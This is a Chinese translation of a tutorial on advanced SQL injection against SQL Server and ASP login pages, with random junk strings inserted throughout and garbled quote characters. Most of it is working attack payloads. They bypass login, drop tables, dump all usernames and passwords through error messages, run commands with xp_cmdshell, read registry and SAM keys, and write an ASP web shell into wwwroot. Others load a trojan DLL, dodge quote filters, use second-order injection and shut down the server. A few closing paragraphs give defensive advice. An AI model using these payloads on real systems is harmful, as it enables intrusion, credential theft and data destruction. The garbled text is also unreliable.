SQL Server应用程序中的高级SQL注入

介绍：
SQL是一种用于关系数据库的结构化查询语言。它分为许多种，但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query，它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构（数据定义语言）和操作数据库内容（数据操作语言）。在这份文档中，我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去，我们管这种方法定义成SQL注入。
一个典型的SQL语句如下：
Select id,forename,surname from authors 5 z3 r$ ?" o4 g) M& I6 Y9 b3 d. T
这条语句将返回authors表中所有行的id，forename和surname列。这个结果可以被限制，例如：
Select id,forename,surname from authors where forename';john'; and surname=';smith';
需要着重指明的是字符串';john';和';smith';被单引号限制。明确的说，forename和surname字段是被用户提供的输入限制的，攻击者可以通过输入值来往这个查询中注入一些SQL语句， ) i* @- a3 n3 w; Q) H9 n
如下：
Forename：jo';hn " [: _& t( v: E; \
Surname：smith
查询语句变为： 9 n# B" U1 P+ D# C7 `' n
Select id,forename,surname from authors where forename=';jo';hn'; and surname=';smith';
当数据库试图去执行这个查询时，它将返回如下错误：
Server：Msg 170, Level 15, State 1, Line 1 " W) b& b: v& L
Line 1：Incorrect syntax near ';hn'; 5 g1 Y# J8 R! [, o. c. U
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行';hn';，但是失败。如果攻击者提供特别的输入如：
Forename：jo';;drop table authors—
Surname： 4 m3 p$ U; L4 R, x
结果是authors表被删除，造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的，但是用这种方法做解决方法会存在几个困难。第一，并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author，那我们的查询应该像这样： # |; I( o- j m5 X# V6 g5 [
Select id,forename,surname from authors where id=1234 8 i8 y! S$ I- n. a5 E
在这种情况下，一个攻击者可以非常简单地在数字的结尾添加SQL语句，在其他版本的SQL语言中，使用各种各样的限定符号；在数据库管理系统JET引擎中，数据可以被使用';#';限定。第二，避免单引号尽管看上去可以，但是是没必要的，原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码，让用户输入用户名和密码： 1 x# a5 u. I" s# ]- P: N$ u+ ?
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor=';000000'; text=';cccccc';>
<FONT Face=';tahoma'; color=';cccccc';> 7 e& s, J& r* Q! c
<CENTER><H1>Login</H1>
<FORM action=';process_loginasp'; method=post> : o9 _0 b h' z" n8 J4 d8 @- R
<TABLE> . }. ~0 j% T7 c0 J/ i+ |
<TR><TD>Username：</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR> ! v. Y; P0 F5 F( o/ V5 G
<TR><TD>

assword：</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR> 7 w0 Q0 k6 T  ~/ {: \0 [
</TABLE>
<INPUT type=submit value=';Submit';><INPUT type=reset value=';Reset';>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码，它是用来控制登陆的： ( g2 Y7 V( t4 y$ }+ ~; ^- H% @
<HTML>
<BODY bgcolor=';000000'; text=';ffffff';>
<FONT Face=';tahoma'; color=';ffffff';>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important} / o' A2 x! s& E$ C& h! x/ \
</STYLE> " x0 `4 |* I0 D. _2 W( Z: C- j5 Y
<%@LANGUAGE = JScript %>
<% $ E- |/ _) u' ~( S  s! p
function trace( str ) {
if( Request.form("debug") == "true" ) ' v1 h6 f# C, l( R) M
Response.write( str ); $ Q6 l9 B3 \$ o) H& M" P, d
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password"); 2 ]; S* _6 F& D8 F$ e! T! v/ u& ?
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ';" + username + "'; and password = ';" + password + "';"; trace( "query: " + sql ); 0 C+ F) }6 X& I# C7 T
rso.open( sql, cn );
if (rso.EOF) { # Q: B1 V8 [9 e  x# z6 p! A5 H
rso.close(); # f, d( L0 S& o- G9 K" |
%> ) j" Z! W5 U# z, {" v; \: o
<FONT Face=';tahoma'; color=';cc0000';> 0 h3 \1 V) Q% _  u' B# [0 B( t
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML> + m( _7 M  H2 H) W' S1 q/ l
<% Response.end return; }
else { 1 P  e' n" k( f- F0 |
Session("username") = "" + rso("username");
%>
<FONT Face=';tahoma'; color=';00cc00';> ( L( S: l0 q# J% I
<H1> <CENTER>ACCESS GRANTED<BR> <BR> . z. @7 i* [8 r8 F0 Y
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } , d. k5 _/ {6 A7 [& A
}
function Main() { //Set up connection / b3 p1 \8 |' e. K+ E
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );   R* C' N( W) |
} - A* n: c& o; S% r
cn.close();
}
Main(); 0 ?1 H5 L4 k7 f. g" i3 e
%> ) l; ^1 I* O0 r& B1 c
出现问题的地方是process_lgin.asp中产生查询语句的部分：
Var sql="select * from users where username=';"+username+"'; and password=';"+password+"';";
如果用户输入的信息如下： + r2 t/ H2 u/ P7 Q! Y, [
Username：';;drop table users— , P$ e$ ?: _0 m: f9 n
Password：
数据库中表users将被删除，拒绝任何用户进入应用程序。';—';符号在Transact-SQL中表示忽略';—';以后的语句，';;';符号表示一个查询的结束和另一个查询的开始。';—';位于username字段中是必须的，它为了使这个特殊的查询终止，并且不返回错误。 ( y* ?. W$ g' |# t% j
攻击者可以只需提供他们知道的用户名，就可以以任何用户登陆，使用如下输入：
Username：admin';— * {! }1 f+ K- c6 t+ @- N
攻击者可以使用users表中第一个用户，输入如下：
Username：'; or 1=1— $ k6 S5 C$ L8 G( P+ X" l+ O# L
更特别地，攻击者可以使用完全虚构的用户登陆，输入如下： # a2 ~9 P& F6 u1 a- j; H5 ]
Username：'; union select 1,';fictional_user';,';some_password';,1—   M% F  y$ y8 T% \1 I7 |9 u
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。   s8 {5 b& Q$ a; ]6 G- W- {" H$ w( {
通过错误消息获得信息
这个几乎是David Litchfield首先发现的，并且通过作者渗透测试的；后来David写了一份文档，后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制，使读者能够完全地了解它，潜在地引发他们的能力。
为了操作数据库中的数据，攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表： : k7 {7 `9 {, _2 s' [0 r4 M
Create talbe users( 0 j. O; f4 ?+ o# ?4 ^- }. C5 r
Id int, , V, h9 ?' ^% t3 B
Username varchar(255),
Password varchar(255),
Privs int
) 5 U- l6 E3 G: C2 h
然后将下面的用户插入到users表中： 3 `2 @8 I! C8 R  M* ?) Q+ T7 z8 {* R1 `
Insert into users values(0,';admin';,';r00tr0x!';,0xffff)
Insert into users values(0,';guest';,';guest';,0x0000) 1 ~4 O) G5 B  I) i# _) V. A% `
Insert into users values(0,';chris';,';password';,0x00ff) ) f. d; [0 H8 k$ l7 @
Insert into users values(0,';fred';,';sesame';,0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下，他不可能成功。即使他比较幸运，至于privs字段不清楚。攻击者可能插入一个';1';，这样只给他自己一个低权限的用户。 1 \1 a4 }$ y, M8 F9 w" |
幸运地，如果从应用程序（默认为ASP行为）返回错误消息，那么攻击者可以确定整个数据库的结构，并且可以以程序中连接SQLSERVER的权限度曲任何值。
（下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的）
首先，攻击者想获得建立用户的表的名字和字段的名字，要做这些，攻击者需要使用select语法的having子句： , ]( V6 L9 k" L1 t0 l' q9 x
Username：'; having 1=1—
这样将会出现如下错误： # k& D# O  L* n* E
Microsoft OLE DB Provider for ODBC Drivers error ';80040e14';
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ';users.id'; is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. ' e/ D3 u6 C3 p" V
/process_login.asp, line 35 8 ]9 e& ~4 w+ e$ W$ v# h4 g
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名，如下： 3 f7 e/ v- a3 M4 z8 s
Username：'; group by users.id having 1=1—
出现的错误如下：
Microsoft OLE DB Provider for ODBC Drivers error ';80040e14';
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ';users.username'; is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35 ; n" m7 t( m1 d% O. s6 Y$ p! b1 x
最终攻击者得到了username字段后：
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误，相当于：
select * from users where username=';';   p' r  R* t- z& J7 ]
因此攻击者现在知道查询涉及users表，按顺序使用列';id,username,password,privs';。 ) f" R" P2 {' K5 l. o3 h
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现，例如： * y! \; }+ _" L5 c9 F& k
Username：'; union select sum(username) from users— 1 h' ?+ m. t: U0 c' j4 v
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息： ( t: G7 l$ U  |5 m, q1 }
Microsoft OLE DB Provider for ODBC Drivers error ';80040e07'; 5 e) B" ~/ r1 s1 W. V# v
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35 : V; [" t5 d' R" B' p7 F# r3 T
这告诉了我们';username';字段的类型是varchar。如果是另一种情况，我们尝试去计算sum()的是数字类型，我们得到的错误消息告诉我们两个集合的字段数量不相等。 3 s! N7 v3 h1 L! V" j
Username：'; union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error ';80040e14'; , N6 Y$ w5 X! y" r8 B  e; l
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. : \! {) R) N2 h0 x  a# w
/process_login.asp, line 35 # p1 n2 i4 L/ e" S8 q
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询，例如： 8 m; p) j  j2 p3 ?$ e
Username：';;insert into users values(666,';attacker';,';foobar';,';0xffff)— * `" v& ]& ?# ]8 s" I0 B
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息： 6 }4 p. |8 @. w* s
select * from master ..sysmessages - n/ [! z2 _6 S9 ^; V! u
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字，那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中，在username后面会显示出SQLSERVER的版本和所运行的操作系统信息：
Username：'; union select @@version,1,1,1— ( s* ~! ~; ~  _$ r) \) k/ a
Microsoft OLE DB Provider for ODBC Drivers error ';80040e07'; % |4 g1 o& I, ~# D, _5 E
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ';Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) '; to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的';@@version';常量转化成一个整型数字，因为users表中的第一列是整型数字。 ! S0 @0 d# j5 m) M9 q1 @" O
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后，他们比较喜欢去从users表中读取用户名，例如：
Username：'; union select min(username),1,1,1 from users where username>';a';— ) x: Q" K3 Y2 V
这句选择users表中username大于';a';中的最小值，并试图把它转化成一个整型数字： 8 B1 W. a# H, e" t( n; F- B7 I
Microsoft OLE DB Provider for ODBC Drivers error ';80040e07';
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ';admin'; to a column of data type int.
/process_login.asp, line 35 2 j3 E% J3 z' Q$ p0 K0 O# ]: f
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。 $ N3 b. a- N' X" d  Y
Username：'; union select min(username),1,1,1 from users where username>';admin';— 9 V6 i. J7 P1 b: z: w. v
Microsoft OLE DB Provider for ODBC Drivers error ';80040e07'; 0 ?3 O! `6 `7 K0 G" K3 p
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ';chris'; to a column of data type int. ) U9 T+ {) y( l; p# R8 y4 g( ?
/process_login.asp, line 35 ' D, h9 f4 s% k4 Y1 Z
一旦攻击者确定了用户名，他就可以开始收集密码：
Username：'; union select password,1,1,1 from users where username=';admin';—
Microsoft OLE DB Provider for ODBC Drivers error ';80040e07';
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ';r00tr0x!'; to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串，然后尝试把它转化成整型数字。这个例子指出：Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来： 8 l0 j; n# l/ n
begin declare @ret varchar(8000) # [% y6 e- d& y) t) i# o+ X4 `
set @ret=';:'; # m$ u8 |- L! |
select @ret=@ret+'; ';+username+';/';+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆（都在一行） ; A  c+ x. g5 T# Y( c
Username: ';';; begin declare @ret varchar(8000) set @ret=';';:';'; select @ret=@ret+';'; ';';+username+';';/';';+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表，里面只有一个单独的列';';ret';';，里面存放着我们得到的用户名和密码的字符串。正常情况下，一个低权限的用户能够在同一个数据库中创建表，或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串： + a5 e/ e4 j) a  `/ a
Username：';'; union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ';';80040e07';'; 6 O" i  `5 K5 Y; P9 @' L/ I; ~
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ';';: admin/r00tr0x! guest/guest chris/password fred/sesame';'; to a column of data type int. 1 _: S& Q. l; b% d& R3 {
/process_login.asp, line 35 ! @* \: m; U( p+ }, z$ m
然后丢弃（删除）表来清楚脚印： - l5 e' _* ?9 w
Username：';';; drop table foo— 2 [+ ~  ~; q- F  N# A# Q
这个例子仅仅是这种技术的一个表面的作用。没必要说，如果攻击者能够从数据库中获得足够的错误西，他们的工作就变的无限简单。 9 Z" f$ z: R+ }8 ]. f+ S  _
获得更高的权限 . Q$ f$ _& M- p
一旦攻击者控制了数据库，他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到：   }/ r6 j4 o' \% L' A4 K1 ]7 S! q! n1 ~
1. 在数据库服务器上，以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值，当然包括SAM键（前提是SQLSERVER是以系统权限运行的） ' H# V9 q+ z+ ]- y; E( `$ n0 W
3. 利用其他存储过程去改变服务器 ) t. W1 p7 G% |9 }, M# r' `4 K+ P
4. 在连接的服务器上执行查询   T; v5 O/ }) m
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码 / Q+ V; W% z1 D2 ]9 T% f
6. 使用';';bulk insert';';语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序，使它能做任何ASP脚本可以做的事情 5 K. h: K4 W  c' _' w
这些只列举了非常普通的可能攻击方法的少量，攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法，为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法：
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中，执行各种各样的功能，例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如：
Exec master..xp_cmdshell ';';dir';'; $ U- W2 H1 ]$ I* M' ?
将获得SQLSERVER进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell ';';net user';'; 2 w. H4 S, z6 r; U. Y! P$ ^: r2 j
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时，攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring & S* ^: b2 m4 x; T
Xp_regdeletekey
Xp_regdeletevalue + w6 p5 |3 t6 X
Xp_regenumkeys ' J  w" u: E: S3 i1 `& f6 s$ m
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring + `( |8 h- h$ S, }. d$ a( r
Xp_regwrite
这些函数的使用方法举例如下：
exec xp_regread HKEY_LOCAL_MACHINE,';';SYSTEM\CurrentControlSet\Services\lanmanserver\parameters';';, ';';nullsessionshares';'; . H% S  s) W$ P" o1 _" N
这将确定什么样的会话连接在服务器上是可以使用的 8 l/ e. ^7 ~! T9 {
exec xp_regenumvalues HKEY_LOCAL_MACHINE,';';SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities';'; % n  y% D& z6 h; I7 P1 K
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下，有了这些信息，攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM，修改系统服务的配置，使它下次机器重启时启动，或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动，停止，暂停和继续服务：
exec master..xp_servicecontrol ';';start';';,';';schedule';';
exec master..xp_servicecontrol ';';start';';,';';server';';
下表中列出了少量的其他有用的存储过程： / p- h& S4 y7 X, }; ?: _# P" Q" t
Xp_availablemedia 显示机器上有用的驱动器 : \! F& F% O9 g- X
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源 % B7 R) L: Y3 R' O- I. k9 o& \
Xp_loginconfig Reveals information about the security mode of the server + c' B, `) \+ o
Xp_makecab 允许用户在服务器上创建一个压缩文件 9 V2 `, e, l9 c
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID，终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制，也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用';';sp_addlinkedsrvlogin';';过程，当前可信的连接不用登陆就可以访问到服务器。';';openquery';';函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures] # a# W6 h. Y; V) m/ B3 k/ p! D
扩展存储过程应用程序接口是相当简单的，创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上，还有其它包括了多种自动通讯的通讯机制，比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程（这种情况下，我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马）：
Sp_addextendedproc ';';xp_webserver';';,';';c:\temp\xp_foo.dll';'; 4 M. z5 M4 l+ }7 \- h8 C$ T
在正常的方式下，这个扩展存储过程可以被运行：
exec xp_webserver ! M7 f8 ^! J+ M3 d3 n7 R- J
一旦这个程序被运行，可以使用下面的方法将它除去：
xp_dropextendedproc ';';xp_webserver';';
[将文本文件导入表] # O5 ?) F0 P$ h8 J: I6 A* X
使用';';bulk insert';';语法可以将一个文本文件插入到一个临时表中。简单地创建这个表： + i) |' K3 }  t
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中，如：
bulk insert foo from ';';c:\inetpub\wwwroot\process_login.asp';';
可以使用上述的错误消息技术，或者使用';';union';';选择，使文本文件中的数据与应用程序正常返回的数据结合，将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件]
使用';';bulk insert';';的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。';';bcp';';,即';';bulk copy program';'; . H6 ]# k* z6 ^7 e
既然 bcp可以从SQL服务进程外访问数据库，它需要登陆。这代表获得权限不是很困难，既然攻击者能建立，或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下： 7 U6 o; z% v3 u& v) {
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
';';S';';参数为执行查询的服务器，';';U';';参数为用户名，';'

';';参数为密码，这里为';';foobar';'; 8 G! `, h9 \$ c
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本，或者ASP脚本程序一样——他们使用VBScript或JavaScript书写，他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中，或者WSH脚本中可以做的任何事情。为了阐明这鞋，这里提供了几个例子： ; Y% E; u3 S( }' v
（1）这个例子使用';';wscript.shell';';对象建立了一个记事本的实例：
wscript.shell example
declare @o int ! Z7 ?% j  E7 S3 \
exec sp_oacreate ';';wscript.shell';';,@o out ; T$ \7 U! R+ _1 Y$ P
exec sp_oamethod @o,';';run';';,NULL,';';notepad.exe';'; , I3 {, R9 W2 x- b
我们可以通过指定在用户名后面来执行它：
Username：';';; declare @o int exec sp_oacreate ';';wscript.shell';';,@o out exec sp_oamethod @o,';';run';';,NULL,';';notepad.exe';';— 6 Z8 L: ]* D: V7 ~
(2)这个例子使用';';scripting.filesystemobject';';对象读一个已知的文本文件： 4 ~* D9 w4 L2 P0 p0 O. G0 ?, N
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int 8 I$ h6 F4 @: D: V
declare @line varchar(8000) 4 `, }) e) I/ A1 o# s: E% _
exec sp_oacreate ';';scripting.filesystemobject';';, @o out . a. {" C) ~: P' d1 U* y' i
exec sp_oamethod @o, ';';opentextfile';';, @f out, ';';c:\boot.ini';';, 1 9 ~  F2 j- ~- u4 Y; m/ }
exec @ret=sp_oamethod @f,';';readline';';,@line out
while(@ret=0) & @8 d# @) r# n" k, `0 k8 v
begin ) }6 R) K- D# k0 y" e* B
print @line / E3 v; z2 \( i+ u6 [
exec @ret=sp_oamethod @f,';';readline';';,@line out 2 o7 ?5 V2 R5 i% j
end
(3)这个例子创建了一个能执行通过提交到的任何命令： 2 @" Q  P/ ]  I8 [9 T& g
-- scripting.filesystemobject example – create a ';';run this';';.asp file
declare @o int,@f int,@t int,@ret int   }' T  L  K. i
exec sp_oacreate ';';scripting.filesystemobject';';,@o out 7 n. L1 k; k; U9 {  h  G
exec sp_oamethod @o,';';createtextfile';';,@f out,';';c:\inetpub\wwwroot\foo.asp';';,1 6 T$ ], V% R: Q4 [7 F' M& z' e
exec @ret=sp_oamethod @f,';';writeline';';,NULL,';';<% set o=server.createobject("wscript.shell")

.run(request.querystring("cmd")) %>';'; + ~1 C  M4 K' S1 N
需要指出的是如果运行的环境是WIN NT4+IIS4平台上，那么通过这个程序运行的命令是以系统权限运行的。在IIS5中，它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性；它可以使用';';speech.voicetext';';对象引起SQL SERVER发声： " U% k" ?6 u. z& h( ~) o
declare @o int,@ret int : x; S8 r1 C( A4 U9 w' H4 b. p
exec sp_oacreate ';';speech.voicetext';';,@o out
exec sp_oamethod @o,';';register';';,NULL,';';foo';';,';';bar';';
exec sp_oasetproperty @o,';';speed';';,150
exec sp_oamethod @o,';';speak';';,NULL,';';all your sequel servers are belong to,us';';,528
waitfor delay ';';00:00:05';'; " T/ H) h: y- o0 d. |$ E
我们可以在我们假定的例子中，通过指定在用户名后面来执行它（注意这个例子不仅仅是注入一个脚本，同时以admin权限登陆到应用程序）： ) u4 B9 k) d8 h: W* u8 |, y
Username：admin';';;declare @o int,@ret int exec sp_oacreate ';';speech.voicetext';';,@o out exec sp_oamethod @o,';';register';';,NULL,';';foo';';,';';bar';'; exec sp_oasetproperty @o,';';speed';';,150 exec sp_oamethod @o,';';speak';';,NULL,';';all your sequel servers are belong to us';';,528 waitfor delay ';';00:00:05';';--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程，那么SQL注入是不可能的。这句话只对了一半，这要看ASP脚本中调用这个存储过程的方式。   d2 ^3 w4 r- ]- v0 G% G
本质上，如果一个有参数的查询被执行，并且用户提供的参数通过安全检查才放入到查询中，那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分，这样他们就可能能够控制数据库。
比较好的常规的标准是：   d: P- [$ E" s0 U
?如果一个ASP脚本能够产生一个被提交的SQL查询字符串，即使它使用了存储过程也是能够引起SQL注入的弱点。 ; r# p' d8 j& @6 L! S5 E
?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配（例如ADO的用于参数收集的command对象），那么通过这个对象的执行，它一般是安全的。 ( T/ ]' ]2 y/ Y6 g+ z* U1 [* L
明显地，既然新的攻击技术始终地被发现，好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入，执行以下语句：   C0 Y8 b# h4 h
sp_who ';';1';'; select * from sysobjects ; e, d! ]0 J( S! G! ^( T0 h
or , ?: O  e, T# ~$ J
sp_who ';';1';';;select * from sysobjects
任何一种方法，在存储过程后，追加的查询依然会执行。 ' M4 e5 ~! D6 p# g1 j3 E4 T& F4 p
[高级SQL注入] / T9 e6 P  ]2 U: S: Q8 {* x% @
通常情况下，一个web应用程序将会过滤单引号（或其他符号），或者限定用户提交的数据的长度。 6 x& N' y1 Q/ p
在这部分，我们讨论一些能帮助攻击者饶过那些明显防范SQL注入，躲避被记录的技术。
[没有单引号的字符串] ; O! y0 [" K/ ?4 m
有时候开发人员会通过过滤所有的单引号来保护应用程序，他们可能使用VBScript中的replace函数或类似： & y; B4 W5 t( i) T- Q- T# N/ ]0 h' s
function escape(input) 7 c" i3 u& P1 ~* h$ Y
input=replace(input,"';';","';';';';")
escape=input
end function
无可否认地这防止了我们所有例子的攻击，再除去';';;';';符号也可以帮很多忙。但是在一个大型的应用程序中，好象个别值期望用户输入的是数字。这些值没有被限定，因此为攻击者提供了一个SQL注入的弱点。 ( ?- q$ i4 M( f' ~
如果攻击者想不使用单引号产生一个字符串值，他可以使用char函数，例如：   J! }/ v1 d2 z
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询。
淡然，如果攻击者不介意使用一个数字用户名和密码，下面的语句也同样会起作用： & Y' w; v$ Q$ u5 i! g  E/ E/ W
insert into users values(667, : u: F" [- ^0 x7 ?0 ?/ p
123, ! {* y5 c  g* _, x4 d+ k
123, 8 v* Y8 v9 ]/ S1 G0 x
oxffff)
SQL SERVER自动地将整型转化为varchar型的值。 8 I$ c! a+ F3 @4 q6 P
[Second-Order SQL Injection]
即使应用程序总是过滤单引号，攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。
例如，攻击者可能利用下面的信息在应用程序中注册：
Username：admin';';— " r/ h" f+ ?7 Y4 P! o" G4 l. z
Password：password - w) A/ ^& n$ t5 {9 ~
应用程序正确过滤了单引号，返回了一个类似这样的insert语句： " X# n5 c; _7 V( n
insert into users values(123,';';admin';';';';—';';,';';password';';,0xffff)
我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下：
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset"); 8 |7 h2 Q9 N, P' X. _# g$ }" L0 J
var sql = "select * from users where username = ';';" + username + "';'; and password = ';';" + oldpassword + "';';"; 6 j; A- m2 `* d5 s+ l
rso.open( sql, cn ); & c5 S" ]( F* X5 v* |
if (rso.EOF)
{
…
设置新密码的代码如下：
sql = "update users set password = ';';" + newpassword + "';'; where username = ';';" + rso("username") + "';';" 8 {8 H$ }$ A$ y* a
rso("username")为登陆查询中返回的用户名
当username为admin';';—时，查询语句为：
update users set password = ';';password';'; where username=';';admin';';—';'; , W  n: b/ N: ?- r7 C0 L
这样攻击者可以通过注册一个admin';';—的用户来根据自己的想法来设置admin的密码。
这是一个非常严重的问题，目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入，这胜于简单地努力去修改它。这有时会导致一个问题，非法的字符在那里是必要的，例如在用户名中包含';';符号，例如
O';';Brien
从一个安全的观点来看，最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话，他们仍然要被过滤；在这种情况下，保证所有进入SQL查询的数据都是正确的是最好的方法。
如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据，这种方式的攻击也是可能的。应用程序可能有email接口，或者可能在数据库中可以存储错误日志，这样攻击者可以努力控制它。验证所有数据，包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用，例如：
if(not isValid("email",request.querystring("email"))) then # W. o% [5 w4 [1 Z) a# ]" j
response.end
或者类似的方法。
[长度限制]
为了给攻击者更多的困难，有时输入数据的长度是被限制的。当这个阻碍了攻击时，一个小的SQL可以造成很严重的危害。例如：
Username：';';;shutdown— $ Y4 N: \# Z, a9 r, `2 d
